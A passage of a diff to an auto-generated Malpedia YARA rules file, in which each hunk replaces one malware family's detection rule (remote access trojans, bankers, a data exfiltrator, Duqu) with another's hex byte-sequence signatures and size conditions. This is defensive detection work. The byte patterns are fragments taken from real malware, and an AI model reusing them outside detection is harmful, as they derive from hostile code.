$sequence_3 = { 83e10f 480fbe8411389a0600 8a8c11489a0600 4c2bc0 418b40fc d3e8 4d894708 } - $sequence_4 = { 4d8bf8 4c896910 4c8bc6 4c896918 488bee e8???????? 458be5 } - $sequence_5 = { 33d2 4903c1 49f7f1 49837e1807 488d0451 498bce 7603 } - $sequence_6 = { 488b4590 48634804 4c896c0d90 488b4590 } - $sequence_7 = { e8???????? 90 488d542450 48837c24680f 480f47542450 41b8e8030000 488d4c2470 } - $sequence_8 = { 66480f6ec8 660f2f25???????? 0f82df000000 48c1e82c 660feb15???????? 660feb0d???????? 4c8d0dd4fd0000 } - $sequence_9 = { 4c8b5577 488d05d9350300 0f1000 4c8bd9 488d4c2430 } + $sequence_0 = { 33c9 e9???????? b32a 397d14 7412 47 8a07 } + $sequence_1 = { f366a5 59 5f 5e c9 c20c00 55 } + $sequence_2 = { eb04 8bc6 91 41 5e 5f } + $sequence_3 = { 74c4 3c2a 7508 8bdf 897508 4e ebb8 } + $sequence_4 = { 33d2 8bdf 4b eb1c 85c9 7508 3bdf } + $sequence_5 = { 7482 8b7508 ff4508 8bfb 3bd3 0f8572ffffff 33c9 } + $sequence_6 = { 7404 8bce 8bd3 397d14 0f8e99000000 39750c 7e7b } + $sequence_7 = { d1e9 f366a5 59 5f 5e } + $sequence_8 = { e8???????? 74ed 33c0 eb04 } + $sequence_9 = { 33c9 e9???????? b32a 397d14 } condition: - 7 of them and filesize < 1129472 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Netsupportmanager_Rat_Auto : FILE +rule MALPEDIA_Win_Cryptoshield_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "13acdf1c-aae7-5f3b-a339-4a965b00f439" + id = "f09fd893-35c5-517a-95b1-96dc5c00c268" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netsupportmanager_rat_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptoshield_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "3b964c7562d1d913c21c0e25b573efbe6d24c01cca1047333434d5efeafe733c" + logic_hash = "41afb8e592a261d954078e9828ef943fd5cdbb4b8df8a3f944658b648d1f2323" score = 75 quality = 75 tags = "FILE" @@ -87707,32 +87756,32 @@ rule MALPEDIA_Win_Netsupportmanager_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8b4530 83c62c 3bf0 7516 8b4538 83c004 } - $sequence_1 = { ffd7 68???????? 56 894344 ffd7 8b7508 89431c } - $sequence_2 = { e9???????? 8d8d4cffffff e9???????? 8d8dacfeffff e9???????? 8d8d6cffffff e9???????? } - $sequence_3 = { e8???????? 83f82a 7520 ba???????? 85d2 7417 6877270000 } - $sequence_4 = { ffd7 8b4620 50 ff15???????? 8b4e24 5f 66c741080000 } - $sequence_5 = { 8dbe88000000 c745fc06000000 8b07 85c0 7403 50 ffd3 } - $sequence_6 = { ff15???????? 5f 33c0 5e c3 68???????? 56 } - $sequence_7 = { e8???????? 8b3d???????? 83c418 68???????? 56 ffd7 3bc3 } - $sequence_8 = { ff4020 8b7604 8b460c 85c0 740a 8b450c 85c0 } - $sequence_9 = { ff5254 83f8ff 0f8517020000 8b4514 8b16 50 57 } + $sequence_0 = { 7405 83f804 751a e8???????? } + $sequence_1 = { ff15???????? 83c40c 8d85b0edffff 50 683f020f00 } + $sequence_2 = { 75cb 66833a00 8bfa 744d 8d4900 } + $sequence_3 = { 6a00 8d85e8fbffff 50 6a01 68???????? 56 ff15???????? } + $sequence_4 = { 8d85c4f1ffff 68???????? 50 ffd3 } + $sequence_5 = { 50 ffd7 8b45f0 85c0 7506 } + $sequence_6 = { 0f84a6000000 8d45fc 50 6a01 ff75f8 6810660000 } + $sequence_7 = { 6a00 ffd3 85c0 0f84bb000000 6804010000 } + $sequence_8 = { ff15???????? c745fc00000000 85f6 7407 56 ff15???????? 85ff } + $sequence_9 = { 0fb7c0 50 8d45f4 68???????? 50 ffd6 83c40c } condition: - 7 of them and filesize < 4734976 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Matrix_Banker_Auto : FILE +rule MALPEDIA_Win_Postnaptea_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5e56425b-5f6b-5ff1-8380-5d5609da8da8" + id = "51c689b3-106f-5456-8a81-c39f4d1222d0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matrix_banker_auto.yar#L1-L111" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.postnaptea" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.postnaptea_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "c882b53f487e75c9405f3f1fd8e8a700ef1f2f55c75fbbd05eae09bdd19de300" + logic_hash = "cbc31a40430b61bd28460ce500d3e6052f8e6a6f9e1d2c25674ed00c58ea2b2d" score = 75 quality = 75 tags = "FILE" @@ -87746,32 +87795,32 @@ rule MALPEDIA_Win_Matrix_Banker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 80f905 7705 80c2a9 eb0b 8d4abf 80f905 } - $sequence_1 = { 80f905 7704 04a9 eb0a } - $sequence_2 = { eb16 8d489f 80f905 7704 } - $sequence_3 = { 66890d???????? 66030d???????? 66890d???????? e8???????? } - $sequence_4 = { 8d48bf 80f905 7702 04c9 } - $sequence_5 = { 8d4abf 80f905 7703 80c2c9 } - $sequence_6 = { 8d489f 80f905 7704 04a9 } - $sequence_7 = { eb0a 8d48bf 80f905 7702 04c9 8d4ad0 80f909 } - $sequence_8 = { 04a9 eb0a 8d48bf 80f905 7702 } - $sequence_9 = { 80f905 7705 80c2a9 eb0b 8d4abf } + $sequence_0 = { e8???????? ffd0 448bc0 488d542430 488bb590000000 488bce e8???????? } + $sequence_1 = { c745c8d4f6ccf6 41bf60090000 c745cc95f695f6 c745d086f6cdf6 c745d4c6f6c7f6 660f1f840000000000 4863c2 } + $sequence_2 = { c785060800000af50cf5 c7850a08000012f50ef5 c7850e08000009f505f5 c7851208000003f511f5 c7851608000009f54df5 c7851a0800001af507f5 c7851e08000015f551f5 } + $sequence_3 = { c7459418f513f5 c7459819f51bf5 c7459c5ff5baf5 c745a0a1f50000 4533c0 418bd0 660f1f840000000000 } + $sequence_4 = { e8???????? 0fb64b08 0fb7430a 663b4509 7416 84c9 750c } + $sequence_5 = { c744247c01f516f5 c7458018f515f5 c7458453f517f5 c745881af518f5 c7458c03f51df5 c7459017f50ef5 c7459408f55cf5 } + $sequence_6 = { c7451830f51bf5 c7451c0bf5e8f5 c74520eef5e6f5 c74524a3f5e1f5 c74528fdf5e3f5 c7452ce4f5fdf5 c74530fdf5e3f5 } + $sequence_7 = { ff15???????? 85c0 7498 83f857 7493 4533c0 418bc8 } + $sequence_8 = { ffc3 41b401 488b0f 4885c9 7441 488b4138 4c3928 } + $sequence_9 = { ff15???????? 4c8bf0 4885ff 0f84a90a0000 4885c0 0f84a00a0000 c74424400af532f5 } condition: - 7 of them and filesize < 422912 + 7 of them and filesize < 2457600 } -rule MALPEDIA_Win_Jasus_Auto : FILE +rule MALPEDIA_Win_Ghostsocks_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4b02d02a-6c2f-5b7d-a1b9-9adc3f6ec692" + id = "ec83c1b8-972c-5302-8f5c-0348597b2510" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jasus_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostsocks" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghostsocks_auto.yar#L1-L151" license_url = "N/A" - logic_hash = "b14ad9069299f53695d1925d28e19a4f9144d4135d3ef376cb647d76db2503c7" + logic_hash = "86588affc1ba6a310125c5db73ff776fb8159fe6904364a27563bbbae0b566bf" score = 75 quality = 75 tags = "FILE" @@ -87785,32 +87834,38 @@ rule MALPEDIA_Win_Jasus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 663915???????? 0f8730020000 663915???????? 0f8723020000 663915???????? 0f8716020000 663915???????? } - $sequence_1 = { 740f 50 68???????? 56 e8???????? 83c40c 8b45f0 } - $sequence_2 = { e8???????? 8b54241c 8bf0 80bb8000000000 c6432d00 7412 } - $sequence_3 = { 8bcb 2b4e14 2bc2 3bc8 744e 8b4df8 85c9 } - $sequence_4 = { 8d7b1e e8???????? 84c0 7437 a1???????? 8b55f8 } - $sequence_5 = { c3 56 33f6 85db 0f889d000000 57 8bf8 } - $sequence_6 = { 7474 833b00 756f f644242c01 668954242e 750a } - $sequence_7 = { 8b8534feffff 668955c4 8b958cfeffff 6a02 } - $sequence_8 = { c1f905 8b0c8d809d4300 c1e006 8d440104 800820 8b4df4 b8000000c0 } - $sequence_9 = { 68???????? e8???????? 8b8df8feffff 83c448 51 ff15???????? 83c404 } + $sequence_0 = { f7e2 69df90010000 01da 89c3 } + $sequence_1 = { f7e2 7079 8d5504 89d5 } + $sequence_2 = { f7e2 0fafe9 8b4c2418 0fafcb } + $sequence_3 = { f7e2 707d 83f8ff 7772 8b542418 85d2 } + $sequence_4 = { f7e2 01d1 81e5ffffff3f 89ea c1fd1f 90 } + $sequence_5 = { f7e2 89442468 0fafde 01da } + $sequence_6 = { f7e2 83c6f8 90 90 83c308 } + $sequence_7 = { f7e2 89442428 01d1 05000096b3 } + $sequence_8 = { e8???????? 89856068fcff 89956468fcff 8d8d1bc3faff } + $sequence_9 = { e8???????? 89856071fcff 89956471fcff a1???????? } + $sequence_10 = { e8???????? 89856077feff 89956477feff 8b8d647ffeff } + $sequence_11 = { e8???????? 89856082fcff 89956482fcff 0fb685a77cffff } + $sequence_12 = { e8???????? 89856078fbff 89956478fbff 8b0d???????? } + $sequence_13 = { e8???????? 8985605ffdff 8995645ffdff 0fb6856fd5faff } + $sequence_14 = { e8???????? 89856076fcff 89956476fcff 8b85d0adfdff } + $sequence_15 = { e8???????? 89856074fbff 89956474fbff a1???????? } condition: - 7 of them and filesize < 507904 + 7 of them and filesize < 25016320 } -rule MALPEDIA_Win_Badflick_Auto : FILE +rule MALPEDIA_Win_Thumbthief_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1951cb0e-a0c5-59e1-834b-292c5e2f8f2a" + id = "1c9938a2-b3ca-5fff-a79c-43d76c2643f6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badflick_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thumbthief_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "49a5abd3151b3eb74bfd8f8adfc99feeac10f3374c938c8bdf06a9faa4f988f8" + logic_hash = "95f6f620d5e728800926363598aae4fbd4980628ff69ddd3ce6426d2d79b4cfc" score = 75 quality = 75 tags = "FILE" @@ -87824,32 +87879,32 @@ rule MALPEDIA_Win_Badflick_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bd8 ff37 ff15???????? 50 e8???????? 50 ff7508 } - $sequence_1 = { ff35???????? ff750c ff75fc ff33 e8???????? 8b7d10 83c418 } - $sequence_2 = { 55 8bec ff7508 6a2b } - $sequence_3 = { 807d1000 59 5f 5e } - $sequence_4 = { be00f00000 56 e8???????? 59 53 8d4df8 51 } - $sequence_5 = { 8b4904 03c8 81f9fe34012c 7509 83f805 } - $sequence_6 = { 6a3d e8???????? 8bf0 8a4508 59 59 884605 } - $sequence_7 = { a5 a5 eb02 33c0 50 6a00 } - $sequence_8 = { 8d8548f3ffff 50 ffd7 8d856cf9ffff 50 8d8560f7ffff } - $sequence_9 = { a5 a5 e8???????? 59 6a00 } + $sequence_0 = { ff7604 e8???????? 83c410 895e04 5f 8bc6 5e } + $sequence_1 = { ff7010 e8???????? 0fb74612 8d4dc8 50 68???????? e8???????? } + $sequence_2 = { e8???????? c645fc03 85f6 7526 68???????? 68???????? 8d8d2cffffff } + $sequence_3 = { e8???????? 8d742440 8d7c2414 a5 8d442414 6a01 50 } + $sequence_4 = { e9???????? 8b542434 395608 8b542428 0f85b1000000 8b4c2430 898c24c0000000 } + $sequence_5 = { e8???????? 8d8c24bc010000 e8???????? 8d4314 50 68a0000000 53 } + $sequence_6 = { ff15???????? 68???????? ff75dc ffd7 50 8d8dd8feffff e8???????? } + $sequence_7 = { ff248580c94200 8b4508 b901000000 6689481c 33c0 5f 5e } + $sequence_8 = { f20f1045c4 83c408 f20f1187b8010000 8bc6 5f 5e 5b } + $sequence_9 = { ff75f4 e8???????? 83c414 8bd6 8bcb e8???????? 837d1000 } condition: - 7 of them and filesize < 81920 + 7 of them and filesize < 4235264 } -rule MALPEDIA_Win_Photoloader_Auto : FILE +rule MALPEDIA_Win_Zhcat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8e57491c-6cec-54b0-9e33-36f4eaa437c4" + id = "0341c55f-b49b-59ad-9995-dc165ee721c5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.photoloader_auto.yar#L1-L174" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zhcat_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "2f15d6b5866c53e3831e42ccf3580d949b52efae89debdf96aad0057ebcc65ac" + logic_hash = "4527f43b00c94d79075579376bd5c0c607ad5c4bcbb3975ed225c4c4eea50561" score = 75 quality = 75 tags = "FILE" @@ -87863,39 +87918,32 @@ rule MALPEDIA_Win_Photoloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fa2 894704 33c9 b800000040 0fa2 } - $sequence_1 = { 8bf7 8d6f10 ff15???????? 0f31 } - $sequence_2 = { c0c003 0fb6c8 8bc1 83e10f } - $sequence_3 = { ff15???????? 25ffffff00 0d00000005 e9???????? 8bd7 } - $sequence_4 = { b800000040 0fa2 895f0c e8???????? } - $sequence_5 = { f7411400000020 7407 8b41f8 3901 7714 } - $sequence_6 = { 7512 ff15???????? 25ffffff00 0d00000007 eb4a 397b1c 7629 } - $sequence_7 = { f7f1 438b4cd314 4803cb 4903c9 418d0411 } - $sequence_8 = { 33c9 b801000080 0fa2 0fbae216 7307 } - $sequence_9 = { b90b010000 66394a18 8d41ed 448d59fd 440f44d8 4533c9 4c03da } - $sequence_10 = { 33ff 2175fc 85ff 751d } - $sequence_11 = { 89470c e8???????? 894708 5f 5e 5d 5b } - $sequence_12 = { 0fb6c3 8d95e8fdffff f7d8 1bc0 f7d0 25???????? } - $sequence_13 = { 57 8bfa ff15???????? 8bac2434010000 25ffffff7f 8b9c2438010000 } - $sequence_14 = { 8d461e 50 68???????? 8d1c31 } - $sequence_15 = { 8bc8 2bfa 66890c17 46 8d5202 } - $sequence_16 = { 6a44 5e 56 33db 8d442424 53 } + $sequence_0 = { ff7510 668945c6 ffd7 8b3d???????? 8945c8 8b45fc 33f6 } + $sequence_1 = { e8???????? a1???????? 59 803d????????00 } + $sequence_2 = { 8d45d4 50 8d45ec 50 33db 8d45f8 } + $sequence_3 = { 8bc6 c1f805 8b048540604100 83e61f c1e606 59 c644300400 } + $sequence_4 = { 7506 394c2418 742c c705????????01000000 eb20 8b450c } + $sequence_5 = { ffd7 6a02 8945d8 58 ff7514 668945c4 ffd6 } + $sequence_6 = { c3 8bff 56 57 33ff ffb7004e4100 ff15???????? } + $sequence_7 = { 3b04cd20434100 7413 41 83f92d 72f1 } + $sequence_8 = { e8???????? 8b45f8 8b4dfc 83c40c 894104 } + $sequence_9 = { 7407 68???????? ebd3 39742418 7507 68???????? ebc6 } condition: - 7 of them and filesize < 107520 + 7 of them and filesize < 376832 } -rule MALPEDIA_Win_Wormhole_Auto : FILE +rule MALPEDIA_Win_Bs2005_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6f46fc51-988b-5f8d-9d00-a7686a2cf87f" + id = "c222daf1-0291-5b44-a14d-9520773ee0b6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wormhole_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bs2005_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "e1e9db1cf90c5ec01e6303b9e0faaa3beb1eeaff1efa494e61bb4a00bebdfa38" + logic_hash = "2de8be623d8c0993a0484485024d355fd2aa58f75e717b2fbd75b321c706b20a" score = 75 quality = 75 tags = "FILE" @@ -87909,34 +87957,34 @@ rule MALPEDIA_Win_Wormhole_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 e8???????? 83c408 8d542410 6aff 6a01 52 } - $sequence_1 = { 0f85c1000000 8b15???????? 8d4c2408 51 52 } - $sequence_2 = { 6a00 6a00 ffd3 8b1d???????? 6aff 8d4c2414 6a00 } - $sequence_3 = { a1???????? 85c0 7531 8b35???????? e8???????? 85c0 7519 } - $sequence_4 = { 897c2438 8974243c ffd3 6a00 6a00 89442418 } - $sequence_5 = { 6a00 6a00 ff15???????? 85c0 a3???????? 7404 } - $sequence_6 = { 6a00 52 68???????? 6a00 6a00 89742430 } - $sequence_7 = { 6685c0 743f a1???????? 85c0 7531 } - $sequence_8 = { 68c8000000 6a00 56 e8???????? 83c410 83f8ff } - $sequence_9 = { 6a01 52 6a02 ffd3 8b35???????? } + $sequence_0 = { 40 84c9 75f9 6a00 8d8dccfeffff 51 2bc2 } + $sequence_1 = { c705????????14864000 a3???????? c705????????408f4000 c705????????30864000 c705????????92854000 } + $sequence_2 = { 8bcf 2bce 81e91c010c00 51 8d5705 52 83c020 } + $sequence_3 = { 52 6a04 50 8945e4 8b45e8 68???????? 50 } + $sequence_4 = { 8945f8 ba00040000 8bcf c60100 } + $sequence_5 = { 8b8e04010000 6a00 6a00 50 51 c745fc00000000 } + $sequence_6 = { 8b06 85c0 7425 8b10 50 } + $sequence_7 = { 75f9 b900000400 8d860c010c00 c60000 40 49 75f9 } + $sequence_8 = { 8b860c010000 3d00000200 7205 b800000200 8b8e04010000 6a00 } + $sequence_9 = { 6a00 8d55fc 52 50 8d8612010000 50 51 } condition: - 7 of them and filesize < 99576 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Hancitor_Auto : FILE +rule MALPEDIA_Win_Data_Exfiltrator_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "816fbcdd-d0a4-5ec6-aee7-dc5bd967236b" + id = "9dfe6899-2a2b-53e4-a45a-9d47fab0bd97" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hancitor_auto.yar#L1-L255" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.data_exfiltrator" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.data_exfiltrator_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "92b7f15d306c0b7e353f23f95c271bcb97f7f829d7a8b924160714a7ac9e4284" + logic_hash = "76dad4826c4efcd47bcf7b7baeb8873c247d502d84bcb2a2073a82e8e3d63f8c" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -87948,49 +87996,32 @@ rule MALPEDIA_Win_Hancitor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 6a00 6824040000 6a00 6a00 } - $sequence_1 = { 6800010000 6a40 68???????? e8???????? } - $sequence_2 = { 750d e8???????? 83c010 a3???????? } - $sequence_3 = { 6a20 68???????? 68???????? e8???????? 83c410 } - $sequence_4 = { 55 8bec 81ec58010000 6a44 } - $sequence_5 = { c745f800000000 c745fc00000000 c745e800000000 6a40 6800300000 8b45f0 50 } - $sequence_6 = { 57 8b483c 33f6 03c8 6a40 } - $sequence_7 = { 50 c60600 ff15???????? 8b3d???????? } - $sequence_8 = { 8b01 2b4234 03450c 8b4de0 8901 8b55f8 83c202 } - $sequence_9 = { 8b4dec 8b5150 8955f0 c745f800000000 } - $sequence_10 = { 8bec 8b4d08 6a00 6a01 } - $sequence_11 = { 8b4508 0fbe08 83f97b 750b 8b5508 83c201 895508 } - $sequence_12 = { 8955dc 8b45dc 8b08 894dd8 8b5508 } - $sequence_13 = { 83f941 72ed 881d???????? c705????????01000000 } - $sequence_14 = { 8b4c1010 51 6b55fc28 8b45f4 8b4d08 034c1014 51 } - $sequence_15 = { c745fc00000000 b901000000 85c9 7448 8b5508 } - $sequence_16 = { 41 3bc8 72f7 c6043000 40 } - $sequence_17 = { 6a01 51 8b413c 8b440828 03c1 } - $sequence_18 = { 83c410 83f801 750e 57 ff15???????? 8bd8 } - $sequence_19 = { f9 a6 c3 4b fd 008d4556f400 08640f08 } - $sequence_20 = { 40 8945d0 8b45c0 83c008 8945c0 8b45b8 } - $sequence_21 = { 8b45a0 05c8d45566 7440 c745880a000000 eb07 8b4588 } - $sequence_22 = { 55 08709e 891f 3e50 } - $sequence_23 = { 2345e4 8945d8 c645f300 c645fc65 } - $sequence_24 = { a1???????? 8945b4 a1???????? 83c044 a3???????? } - $sequence_25 = { 8b45b4 83e803 8945b4 eb22 } - $sequence_26 = { 0305???????? a3???????? a1???????? 0faf45bc a3???????? ebc5 8365d400 } + $sequence_0 = { ff15???????? 48837c246800 7504 33c0 eb19 488b542450 488b4c2468 } + $sequence_1 = { 488b442430 8b4c2438 89480c 488b442430 4881c4e8000000 c3 } + $sequence_2 = { 488d152b530000 488b4c2440 ff15???????? 4889442420 } + $sequence_3 = { 8a442470 88442440 48c744243800000000 488d0595c8ffff 4889442430 488d0555d9ffff 4889442428 } + $sequence_4 = { 448bc8 4c8b442420 488b15???????? 488d4c2460 } + $sequence_5 = { 48894c2408 4883ec78 ff15???????? 41b800010000 } + $sequence_6 = { 85c0 742c 0fb6442421 8b4c2424 83c105 8bc9 488b942440010000 } + $sequence_7 = { 488d0dad360000 e8???????? 41b840000000 ba00300000 b908000000 } + $sequence_8 = { 837c245c00 7407 837c244000 7502 eb33 8b442440 } + $sequence_9 = { 488bc1 4889842498000000 488b942498000000 488b8c24c8000000 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 107520 } -rule MALPEDIA_Win_Aurora_Auto : FILE +rule MALPEDIA_Win_Duqu_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cb6e66dc-0b30-52d7-abd2-183f4137b9af" + id = "d021a3e0-a963-5c5a-8894-2a3900c75d82" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aurora_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.duqu_auto.yar#L1-L169" license_url = "N/A" - logic_hash = "736e5133ae609420c62fd5eab55e12d52695b2d2a929e74285f1e9a94056c135" + logic_hash = "a5f03c1a39b5d865f59b6af67604227aa6b29a16f7ea254ca225f6a37485518b" score = 75 quality = 75 tags = "FILE" @@ -88004,32 +88035,38 @@ rule MALPEDIA_Win_Aurora_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 8d4dc0 e8???????? 68???????? c645fc01 e8???????? } - $sequence_1 = { 6a1f 68???????? c745d40f000000 c745d000000000 c645c000 e8???????? c645fc01 } - $sequence_2 = { 0f8259ffffff 8d4de4 e8???????? 8bc6 8b4df4 64890d00000000 59 } - $sequence_3 = { 75f9 2bca 51 53 8d4dd0 e8???????? } - $sequence_4 = { 0f45c2 50 e8???????? 8bfb } - $sequence_5 = { 68???????? 8d8de4f1ffff c785f8f1ffff0f000000 c785f4f1ffff00000000 c685e4f1ffff00 e8???????? } - $sequence_6 = { c785b8efffff0f000000 c785b4efffff00000000 c685a4efffff00 e8???????? 8d8dbcefffff } - $sequence_7 = { 0f8483000000 c1e706 03f8 83c106 894ddc 7869 8bc7 } - $sequence_8 = { 68???????? 8d8d24f1ffff c78538f1ffff0f000000 c78534f1ffff00000000 } - $sequence_9 = { a1???????? 33c5 50 8d45f4 64a300000000 c745ec00000000 83ec18 } + $sequence_0 = { e8???????? 8d8df8fdffff 51 ff9088000000 8bd6 8bc8 } + $sequence_1 = { 5e 5b 8be5 5d c3 8b4718 ebf4 } + $sequence_2 = { ba78978b33 89869c000000 8bcb e8???????? ba5859004e } + $sequence_3 = { 744d 8b4c2414 8a442413 8b5c2418 85c9 7e30 0fb6c8 } + $sequence_4 = { 85c0 7465 e8???????? 85c0 } + $sequence_5 = { 56 51 8bf2 e8???????? } + $sequence_6 = { 8b5c242c 741a 40 83c704 8944241c 3b4218 } + $sequence_7 = { baec8ce154 8bcb e8???????? ba8eacac75 894628 } + $sequence_8 = { ba1225339c 89462c 8bcb e8???????? 89466c 85c0 } + $sequence_9 = { 8b4c2414 40 49 89442420 } + $sequence_10 = { 8bec 81ec0c020000 56 ff7508 8bf2 } + $sequence_11 = { 8bec 81ec04020000 53 8b5d08 56 57 6af0 } + $sequence_12 = { 8bec 81ec10080000 8365fc00 b800010000 } + $sequence_13 = { 8bec 53 56 8bd8 8d732c 57 8bce } + $sequence_14 = { 8bec 56 57 8b7d08 33f6 3b7d0c } + $sequence_15 = { 8bec 81ec0c020000 8365fc00 833d????????ff } condition: - 7 of them and filesize < 827392 + 7 of them and filesize < 18759680 } -rule MALPEDIA_Win_Fudmodule_Auto : FILE +rule MALPEDIA_Win_Miya_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8e6e3f32-6e1c-5a24-9698-45bfa215e2d1" + id = "b014bac2-07d1-5fef-bdcc-2e598306fac3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fudmodule_auto.yar#L1-L162" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miya_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miya_rat_auto.yar#L1-L191" license_url = "N/A" - logic_hash = "4035950c3484d09b89067be960d8e0c73dab8587b168d82e14a4974f9d87cb3f" + logic_hash = "98cc52272c83937733d9eba2aa0b9bb5ed8cab147dbc386514a5033d544b9bd7" score = 75 quality = 75 tags = "FILE" @@ -88043,40 +88080,40 @@ rule MALPEDIA_Win_Fudmodule_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 660fb3e9 53 f6dd 660fbbe2 57 } - $sequence_1 = { 4801e3 fec8 66c1cf03 d2e8 } - $sequence_2 = { 498b8c24e0090000 e8???????? 4983bc24d809000000 488bb42480000000 488b5c2478 } - $sequence_3 = { f9 4801e3 e9???????? 660fbec2 58 e9???????? f5 } - $sequence_4 = { 41ffd5 85c0 782d 488bd6 } - $sequence_5 = { 30db 80db4a 00eb 83c101 fec3 } - $sequence_6 = { e8???????? 498bcc e8???????? 8d7514 } - $sequence_7 = { 4963c3 488d4c2458 8b540460 4c8d440460 } - $sequence_8 = { 0fb6c3 f6d0 0f9cc0 58 e9???????? } - $sequence_9 = { 488bce e8???????? 85c0 7403 83cf08 488bce } - $sequence_10 = { 488d3c01 ff15???????? 488d55b0 488bc8 488d442440 } - $sequence_11 = { 4883c420 b37a e9???????? 0f855b73ffff 66d3fe } - $sequence_12 